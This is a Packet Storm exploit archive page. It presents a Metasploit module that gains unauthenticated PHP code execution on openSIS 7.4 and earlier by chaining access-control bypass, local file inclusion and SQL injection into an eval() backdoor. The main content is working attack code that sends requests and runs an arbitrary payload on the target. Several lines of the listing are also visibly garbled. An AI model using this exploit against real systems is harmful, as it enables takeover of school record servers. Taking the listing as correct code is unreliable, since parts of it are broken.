

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr
Sa					
				1	2
3					
4	5	6	7	8	9
10					
11	12	13	14	15	16
17					
18	19	20	21	22	23
24					
25	26	27	28	29	30
31					

Top Authors In Last 30 Days

Red Hat 150 files
Ubuntu 68 files
LiquidWorm 23 files
Debian 16 files
malvuln 11 files
nu11security 11 files
Gentoo 9 files
Google Security Research 6 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)	December 2022
Advisory (79,754)	November 2022
Arbitrary (15,694)	October 2022
BBS (2,859)	September 2022
Bypass (1,619)	August 2022
CGI (1,018)	July 2022
Code Execution (8,926)	June 2022
Conference (673)	May 2022
Cracker (840)	April 2022
CSRF (3,290)	March 2022
DoS (22,602)	February 2022
Encryption (2,349)	January 2022
Exploit (50,359)	Older
File Inclusion (4,165)	

File Upload (946) Systems

Firewall (821)	AIX (426)
Info Disclosure (2,660)	Apple (1,926)
Intrusion Detection (867)	BSD (370)
Java (2,899)	CentOS (55)
JavaScript (821)	Cisco (1,917)
Kernel (6,291)	Debian (6,634)
Local (14,201)	Fedora (1,600)
Magazine (586)	FreeBSD (1,242)
Overflow (12,419)	Gentoo (4,272)
Perl (1,418)	HPUX (878)
PHP (5,093)	iOS (330)
Proof of Concept (2,291)	iPhone (108)
Protocol (3,435)	IRIX (220)
Python (1,467)	Juniper (67)
Remote (30,044)	Linux (44,315)
Root (3,504)	Mac OS X (684)
Ruby (594)	Mandriva (3,105)
Scanner (1,631)	NetBSD (255)
Security Tool (7,777)	OpenBSD (479)
Shell (3,103)	RedHat (12,469)
Shellcode (1,204)	Slackware (941)
Sniffer (886)	Solaris (1,607)

openSIS 7.4 Unauthenticated PHP Code Execution

Authored by EgIX | Site metasploit.com

Posted Jul 6, 2020

This Metasploit module exploits multiple vulnerabilities in openSIS 7.4 and prior versions which could be abused by unauthenticated attackers to execute arbitrary PHP code with the permissions of the webserver. The exploit chain abuses an incorrect access control issue which allows access to scripts which should require the user to be authenticated, and a local file inclusion to reach a SQL injection vulnerability which results in execution of arbitrary PHP code due to an unsafe use of the eval() function.

tags | exploit, arbitrary, local, php, vulnerability, sql injection, file inclusion

advisories | CVE-2020-13381, CVE-2020-13382, CVE-2020-13383

SHA-256 | 942c0ce311ce709dd7c1790955789b1f88040cee422935d166bdf0e150147703 Download | Favorite | View

Related Files

Share This

Like

Twitter

LinkedIn

Reddit

Digg

StumbleUpon

Change Mirror

Download

```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'openSIS Unauthenticated PHP Code Execution',
      'Description' => %q(
        This module exploits multiple vulnerabilities in openSIS 7.4 and prior versions
        which could be abused by unauthenticated attackers to execute arbitrary PHP code
        with the permissions of the webserver. The exploit chain abuses an incorrect access
        control issue which allows access to scripts which should require the user to be
        authenticated, and a Local File Inclusion to reach a SQL injection vulnerability which
        results in execution of arbitrary PHP code due to an unsafe use of the eval() function.
      ),
      'Author' => 'EgIX',
      'License' => MSF_LICENSE,
      'References' =>
        [
          ['URL', 'http://karmainsecurity.com/KIS-2020-06'],
          ['URL', 'http://karmainsecurity.com/KIS-2020-07'],
          ['URL', 'http://karmainsecurity.com/KIS-2020-08'],
          ['CVE', '2020-13381'],
          ['CVE', '2020-13382'],
          ['CVE', '2020-13383']
        ],
      'Privileged' => false,
      'Platform' => ['php'],
      'Arch' => ARCH_PHP,
      'Targets' => [ ['openSIS <= 7.4', {} ] ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Jun 30 2020'
    ))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to the web application', '/'])
      ]
    )
  end

  def exec_php/php_code)
    print_status('Retrieving session cookie')

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path)
    })

    unless res
      fail_with(Failure::Unreachable, 'Connection failed')
    end

    session = res.get_cookies

    unless res.code == 200 && res.body && session =~ /PHPSESSID=([A-Za-z0-9]*)/;
      fail_with(Failure::NoAccess, 'Failed to retrieve session cookie')
    end

    random_title = rand_text_alpha(10)
    random_param = rand_text_alpha(10)
    php_cod = %j|eval(base64_decode($_POST[#{random_param}])):die(//\\|
    sql_enc = php_cod.each_byte.map{|b| b.to_s(16) }.join
    sql_inj = "" UNION SELECT 0x#{sql_enc}#"

    print_status('Injecting malicious SQL into session variable')

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'CpSessionSet.php/index.php'),
      'cookie' => session,
      'vars_post' => {'title' => random_title, 'course_id' => sql_inj}
    })

    unless res && res.code == 200 && res.body =~ /[#{random_title}]/
      fail_with(Failure::NoAccess, 'Failed to call CpSessionSet.php')
    end

    print_status("Calling ForExport.php to set $_SESSION['REQUEST_vars']")

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'ForExport.php/index.php'),
      'cookie' => session,
      'vars_post' => {
        'modname' => 'scheduling/MassSchedule.php',
        'modfunc' => 'save',
        'day_start' => rand_text_numeric(1, bad='0'),
        'month_start' => rand_text_numeric(1, bad='0'),
        'year_start' => rand_text_numeric(4, bad='0')
      }
    })

    unless res && res.code == 200 && res.body =~ /Error in User/
      fail_with(Failure::NoAccess, 'Failed to call ForExport.php')
    end

    print_status('Executing PHP code by calling Bottom.php')

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'Bottom.php/index.php'),
      'cookie' => session,
      'vars_get' => {'modname' => 'scheduling/MassSchedule.php', 'modfunc' => 'print'},
      'vars_post' => {random_param => Rex::Text.encode_base64(php_code)}
    }, 1)

    res
  end

  def check
    flag = rand_text_alpha(20..30)
```

```
res = exec_php("print '#{flag}';")

if res == res.code == 200 && res.body =~ /(flag)/
  return Exploit::CheckCode::Vulnerable
end

Exploit::CheckCode::Safe
end

def exploit
  exec_php(payload.encoded)
end
end
```

[Login](#) or [Register](#) to add favorites

Spoof (2,166) SUSE (1,444)
SQL Injection (16,102) Ubuntu (8,199)
TCP (2,379) UNIX (9,159)
Trojan (686) UnixWare (185)
UDP (876) Windows (6,511)
Virus (662) Other
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

packet storm
© 2022 Packet Storm. All rights reserved.

Site Links


[News by Month](#)
[News Tags](#)
[Files by Month](#)
[File Tags](#)
[File Directory](#)


About Us

[History & Purpose](#)
[Contact Information](#)
[Terms of Service](#)
[Privacy Statement](#)
[Copyright Information](#)

Hosting By

[Rokasec](#)

 Follow us on Twitter

 Subscribe to an RSS Feed